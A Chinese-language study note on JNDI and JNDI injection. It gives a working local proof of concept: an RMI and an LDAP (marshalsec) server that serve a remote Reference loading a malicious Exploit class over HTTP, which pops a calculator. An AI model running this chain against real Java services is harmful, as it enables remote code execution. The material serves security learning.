JNDI

基础概念

JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。它是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,用来定位用户、网络、机器、对象和服务等各种资源。

我们可以用JNDI来定位数据库服务或一个远程Java对象。

JNDI 在 jdk 里面支持以下四种服务

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • Java 远程方法调用(RMI) 注册表
  • DNS 服务

这样讲JNDI还是很抽象,下面来看一个比喻:

比喻:电话簿(JNDI)和电话号码(资源)

想象一下,JNDI 就像是一个 电话簿,而 电话簿里的电话号码 就是你需要查找的 资源(比如数据库连接、远程服务等)。

  1. 电话簿(JNDI)
    • 它是一个 目录服务,用来存储和管理各种资源的“名字”和“地址”。
    • 比如,你可以通过名字(如“数据库连接”)找到对应的资源(如数据库的地址和配置)。
  2. 电话号码(资源)
    • 这些是你需要的东西,比如数据库连接、远程服务、配置文件等。
    • 你不需要记住具体的地址或配置,只需要记住名字(如“数据库连接”),然后通过电话簿(JNDI)查找。

举个例子

假设你是一个程序员,需要连接数据库。你可以这样做:

  1. 把数据库连接信息存到电话簿(JNDI)里
    • 名字:myDatabase
    • 地址:jdbc:mysql://localhost:3306/mydb
  2. 当需要连接数据库时
    • 你只需要告诉电话簿(JNDI):“给我 myDatabase 的连接”。
    • 电话簿(JNDI)会返回对应的数据库连接信息。

为什么需要 JNDI?

  1. 解耦
    • 你不需要在代码里写死数据库地址或配置,只需要通过名字查找。
    • 如果数据库地址变了,你只需要更新电话簿(JNDI),代码不需要修改。
  2. 集中管理
    • 所有的资源(数据库、远程服务等)都可以通过一个地方(JNDI)管理。

漏洞利用

基本原理

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。

image-20250324215556830

JNDI结合RMI

RMI 原生漏洞

JDK版本:8u65

客户端:

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
public static void main(String[] args) throws NamingException {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/xxx");
}
}

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:1234");
registry.bind("xxx", new ReferenceWrapper(reference));
}
}

我们现在恶意字节码文件目录开启Python的http服务:

1
python -m http.server 1234  指定1234端口开启

接着依次执行服务端与客户端代码,发现恶意字节码被执行,并弹出计算器。

image.png

如果发现代码和环境都没有问题但弹不出计算器,一定记得检查下自己的字节码是否写正确了。

25年3月4日大半天耗在这里(悲)。

原理

攻击者RMI服务器会向目标返回一个Reference对象,对象中指定某个精心构造的Factory类。

目标进行lookup()时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例。

我们在InitialContext.javalookup()这里下一个断点:

image.png

lookup()调用了GenericURLContext.lookup()

image.png

注意看这里又调用了一次lookup(),跟进:

image.png

我们进到了RegistryContext类,它是RMI中调用lookup()方法的类。

image.png说明JNDI在这里最后调用到了原生RMI的服务。

JNDI结合LDAP

LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol)是一种用于存储和查询目录信息的协议。它类似于电话簿,可以快速查找用户、设备或其他资源的信息。

代码实现(本地环境)

受害者服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Server {
public static void main(String[] args) {
// 用户输入(模拟攻击者控制的输入)
String userInput = "ldap://127.0.0.1:1389/Exploit";

try {
// 初始化 JNDI 上下文
Context ctx = new InitialContext();

// 使用用户输入进行 JNDI 查找
Object obj = ctx.lookup(userInput);
System.out.println("Found object: " + obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

模拟攻击者:

在指定目录下用python命令开启http服务:(把恶意类Exploit.class部署到云端)

1
python -m http.server 8000

接着用marshalsec开启ldap服务:

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

运行脚本后发现弹出计算器:

image-20250319152402980

image-20250319152519809